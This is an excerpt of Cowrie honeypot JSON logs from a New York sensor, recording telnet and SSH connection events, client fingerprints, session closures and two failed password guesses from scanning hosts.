{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:09.343816Z","src_ip":"213.209.159.158","session":"ff197658d8dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.93779993057251,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:09.362888Z","src_ip":"162.55.233.176","session":"202b66b767bf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.810402393341064,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:09.673784Z","src_ip":"162.55.233.176","session":"d99834fca82e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.099458694458008,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:09.788352Z","src_ip":"162.55.233.176","session":"9e494fd15372","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"rootroot","message":"login attempt [postgres/rootroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:09.982084Z","src_ip":"38.137.11.14","session":"f8f1e3b25ae2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":42058,"dst_ip":"159.203.135.109","dst_port":23,"session":"0a136c55d09c","protocol":"telnet","message":"New connection: 162.55.233.176:42058 (159.203.135.109:23) [session: 0a136c55d09c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:10.153098Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":42068,"dst_ip":"159.203.135.109","dst_port":23,"session":"e2f456ed988f","protocol":"telnet","message":"New connection: 162.55.233.176:42068 (159.203.135.109:23) [session: e2f456ed988f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:10.224603Z"}
{"eventid":"cowrie.session.closed","duration":30.872227668762207,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:10.264380Z","src_ip":"162.55.233.176","session":"81a17ccd6caa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":42070,"dst_ip":"159.203.135.109","dst_port":23,"session":"9f455d3ed355","protocol":"telnet","message":"New connection: 162.55.233.176:42070 (159.203.135.109:23) [session: 9f455d3ed355]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:10.543062Z"}
{"eventid":"cowrie.session.closed","duration":33.83970403671265,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:10.592281Z","src_ip":"162.55.233.176","session":"d65cb57c04d1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.13784122467041,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:10.843634Z","src_ip":"162.55.233.176","session":"1a08aea1bb60","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.465678215026855,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:10.987874Z","src_ip":"188.208.141.113","session":"c7d07ae723c5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.383668422698975,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:11.131439Z","src_ip":"162.55.233.176","session":"edcca70adcf6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:11.216849Z","src_ip":"38.137.11.14","session":"f8f1e3b25ae2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":42100,"dst_ip":"159.203.135.109","dst_port":23,"session":"253145e0e3df","protocol":"telnet","message":"New connection: 162.55.233.176:42100 (159.203.135.109:23) [session: 253145e0e3df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:11.284700Z"}
{"eventid":"cowrie.session.closed","duration":45.013993978500366,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:11.297168Z","src_ip":"188.208.141.113","session":"02f7299aee5d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":42112,"dst_ip":"159.203.135.109","dst_port":23,"session":"c3e26f299933","protocol":"telnet","message":"New connection: 162.55.233.176:42112 (159.203.135.109:23) [session: c3e26f299933]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:11.376772Z"}
{"eventid":"cowrie.session.closed","duration":31.63302445411682,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:11.482981Z","src_ip":"162.55.233.176","session":"eec99c435f87","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.10371470451355,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:11.568857Z","src_ip":"162.55.233.176","session":"8ac7aab369f8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":42142,"dst_ip":"159.203.135.109","dst_port":23,"session":"335a3cc9b90f","protocol":"telnet","message":"New connection: 162.55.233.176:42142 (159.203.135.109:23) [session: 335a3cc9b90f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:11.846700Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":42154,"dst_ip":"159.203.135.109","dst_port":23,"session":"d84225c53920","protocol":"telnet","message":"New connection: 162.55.233.176:42154 (159.203.135.109:23) [session: d84225c53920]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:11.909124Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":42160,"dst_ip":"159.203.135.109","dst_port":23,"session":"3deb725f0720","protocol":"telnet","message":"New connection: 162.55.233.176:42160 (159.203.135.109:23) [session: 3deb725f0720]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:11.940530Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":42172,"dst_ip":"159.203.135.109","dst_port":23,"session":"85aaf457462e","protocol":"telnet","message":"New connection: 162.55.233.176:42172 (159.203.135.109:23) [session: 85aaf457462e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:12.279382Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":42190,"dst_ip":"159.203.135.109","dst_port":23,"session":"9ab6d560ec30","protocol":"telnet","message":"New connection: 162.55.233.176:42190 (159.203.135.109:23) [session: 9ab6d560ec30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:12.360223Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":42206,"dst_ip":"159.203.135.109","dst_port":23,"session":"1de4344db32b","protocol":"telnet","message":"New connection: 162.55.233.176:42206 (159.203.135.109:23) [session: 1de4344db32b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:12.370560Z"}
{"eventid":"cowrie.session.closed","duration":37.05351972579956,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:12.982033Z","src_ip":"162.55.233.176","session":"b5ec7557d57e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.42699408531189,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:13.024316Z","src_ip":"162.55.233.176","session":"7e132b8ed18b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":44476,"dst_ip":"159.203.135.109","dst_port":23,"session":"29d1cd037d20","protocol":"telnet","message":"New connection: 162.55.233.176:44476 (159.203.135.109:23) [session: 29d1cd037d20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:13.461435Z"}
{"eventid":"cowrie.session.closed","duration":31.044288873672485,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:13.624209Z","src_ip":"162.55.233.176","session":"ac2d88070082","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":44564,"dst_ip":"159.203.135.109","dst_port":23,"session":"e85daefd0909","protocol":"telnet","message":"New connection: 162.55.233.176:44564 (159.203.135.109:23) [session: e85daefd0909]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:13.662838Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":44856,"dst_ip":"159.203.135.109","dst_port":23,"session":"4adec6e7dc0e","protocol":"telnet","message":"New connection: 162.55.233.176:44856 (159.203.135.109:23) [session: 4adec6e7dc0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:14.110456Z"}
{"eventid":"cowrie.session.closed","duration":48.965572357177734,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:14.125427Z","src_ip":"188.208.141.113","session":"1f771f0f2036","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":45348,"dst_ip":"159.203.135.109","dst_port":23,"session":"73a77c7f64dd","protocol":"telnet","message":"New connection: 162.55.233.176:45348 (159.203.135.109:23) [session: 73a77c7f64dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:15.126230Z"}
{"eventid":"cowrie.session.closed","duration":30.845784664154053,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:15.270329Z","src_ip":"162.55.233.176","session":"6978e4cc9787","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":44962,"dst_ip":"159.203.135.109","dst_port":23,"session":"4514f4ca2346","protocol":"telnet","message":"New connection: 162.55.233.176:44962 (159.203.135.109:23) [session: 4514f4ca2346]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:15.375940Z"}
{"eventid":"cowrie.session.closed","duration":38.71937417984009,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:15.630157Z","src_ip":"162.55.233.176","session":"3c1b68f97fd8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":45698,"dst_ip":"159.203.135.109","dst_port":23,"session":"ad538362c463","protocol":"telnet","message":"New connection: 162.55.233.176:45698 (159.203.135.109:23) [session: ad538362c463]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:15.984383Z"}
{"eventid":"cowrie.session.closed","duration":34.98375868797302,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:16.337387Z","src_ip":"162.55.233.176","session":"24bfa7aa42b6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.40204405784607,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:16.365168Z","src_ip":"162.55.233.176","session":"522b9df7c072","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.83053755760193,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:16.429928Z","src_ip":"162.55.233.176","session":"5493fcbb15dc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":45954,"dst_ip":"159.203.135.109","dst_port":23,"session":"d17ec1cabec4","protocol":"telnet","message":"New connection: 162.55.233.176:45954 (159.203.135.109:23) [session: d17ec1cabec4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:16.515681Z"}
{"eventid":"cowrie.session.closed","duration":32.69410562515259,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:16.675732Z","src_ip":"162.55.233.176","session":"91b7942a3ecb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.37257122993469,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:16.742152Z","src_ip":"162.55.233.176","session":"11264132d978","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"vS123456.","message":"login attempt [root/vS123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:16.836102Z","src_ip":"213.209.159.158","session":"ff197658d8dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.64046764373779,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:17.209274Z","src_ip":"162.55.233.176","session":"903351d4ed23","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.669495105743408,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:17.344881Z","src_ip":"162.55.233.176","session":"becc5d3fbe65","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":46406,"dst_ip":"159.203.135.109","dst_port":23,"session":"446ef07473d3","protocol":"telnet","message":"New connection: 162.55.233.176:46406 (159.203.135.109:23) [session: 446ef07473d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:17.545921Z"}
{"eventid":"cowrie.session.closed","duration":36.08308005332947,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:17.840691Z","src_ip":"162.55.233.176","session":"6ddcebb326ed","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":46602,"dst_ip":"159.203.135.109","dst_port":23,"session":"37afc3fcadc9","protocol":"telnet","message":"New connection: 162.55.233.176:46602 (159.203.135.109:23) [session: 37afc3fcadc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:17.927401Z"}
{"eventid":"cowrie.session.closed","duration":33.060784339904785,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:18.211774Z","src_ip":"162.55.233.176","session":"15c3189cbce0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":46812,"dst_ip":"159.203.135.109","dst_port":23,"session":"6a16c70077b5","protocol":"telnet","message":"New connection: 162.55.233.176:46812 (159.203.135.109:23) [session: 6a16c70077b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:18.409306Z"}
{"eventid":"cowrie.session.closed","duration":36.48783278465271,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:18.441350Z","src_ip":"162.55.233.176","session":"c4018d621ba4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.890961170196533,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:18.475584Z","src_ip":"162.55.233.176","session":"560558866a8c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.23531103134155,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:18.777555Z","src_ip":"162.55.233.176","session":"5d10ef6c6632","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":47046,"dst_ip":"159.203.135.109","dst_port":23,"session":"791e9be8bc36","protocol":"telnet","message":"New connection: 162.55.233.176:47046 (159.203.135.109:23) [session: 791e9be8bc36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:18.955386Z"}
{"eventid":"cowrie.session.closed","duration":30.96838927268982,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:19.408500Z","src_ip":"162.55.233.176","session":"9bc113280cb1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"11.7","message":"Connection lost after 11.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:19.461017Z","src_ip":"213.209.159.158","session":"ff197658d8dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.82724618911743,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:19.504230Z","src_ip":"162.55.233.176","session":"d2d5a36685ab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":22790,"dst_ip":"10.17.0.5","dst_port":22,"session":"ba6dc0405403","protocol":"ssh","message":"New connection: 213.209.159.158:22790 (10.17.0.5:22) [session: ba6dc0405403]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:19.544443Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":47248,"dst_ip":"159.203.135.109","dst_port":23,"session":"c1310be51d77","protocol":"telnet","message":"New connection: 162.55.233.176:47248 (159.203.135.109:23) [session: c1310be51d77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:19.557956Z"}
{"eventid":"cowrie.session.closed","duration":32.940783739089966,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:19.780836Z","src_ip":"162.55.233.176","session":"db66b425a4f2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.40576171875,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:20.029037Z","src_ip":"162.55.233.176","session":"b5c9f27728b3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.81557846069336,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:20.039142Z","src_ip":"162.55.233.176","session":"307a7d77e751","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":47512,"dst_ip":"159.203.135.109","dst_port":23,"session":"d103286f87cd","protocol":"telnet","message":"New connection: 162.55.233.176:47512 (159.203.135.109:23) [session: d103286f87cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:20.127998Z"}
{"eventid":"cowrie.session.closed","duration":37.931183099746704,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:20.252192Z","src_ip":"162.55.233.176","session":"8d046f5b51ba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":47586,"dst_ip":"159.203.135.109","dst_port":23,"session":"3d146ca00099","protocol":"telnet","message":"New connection: 162.55.233.176:47586 (159.203.135.109:23) [session: 3d146ca00099]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:20.352201Z"}
{"eventid":"cowrie.session.closed","duration":33.988200664520264,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:20.572082Z","src_ip":"162.55.233.176","session":"1d684fe25bf2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":47982,"dst_ip":"159.203.135.109","dst_port":23,"session":"1fd912a11ab0","protocol":"telnet","message":"New connection: 162.55.233.176:47982 (159.203.135.109:23) [session: 1fd912a11ab0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:21.252511Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":47998,"dst_ip":"159.203.135.109","dst_port":23,"session":"cbe5702b8ae6","protocol":"telnet","message":"New connection: 162.55.233.176:47998 (159.203.135.109:23) [session: cbe5702b8ae6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:21.326969Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:21.503409Z","src_ip":"213.209.159.158","session":"ba6dc0405403","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:21.507538Z","src_ip":"213.209.159.158","session":"ba6dc0405403","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.454586029052734,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:21.789517Z","src_ip":"162.55.233.176","session":"b5a2a65bd8b1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":48200,"dst_ip":"159.203.135.109","dst_port":23,"session":"85811583dac5","protocol":"telnet","message":"New connection: 162.55.233.176:48200 (159.203.135.109:23) [session: 85811583dac5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:21.844966Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":48360,"dst_ip":"159.203.135.109","dst_port":23,"session":"c9eeff56b548","protocol":"telnet","message":"New connection: 162.55.233.176:48360 (159.203.135.109:23) [session: c9eeff56b548]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:22.301277Z"}
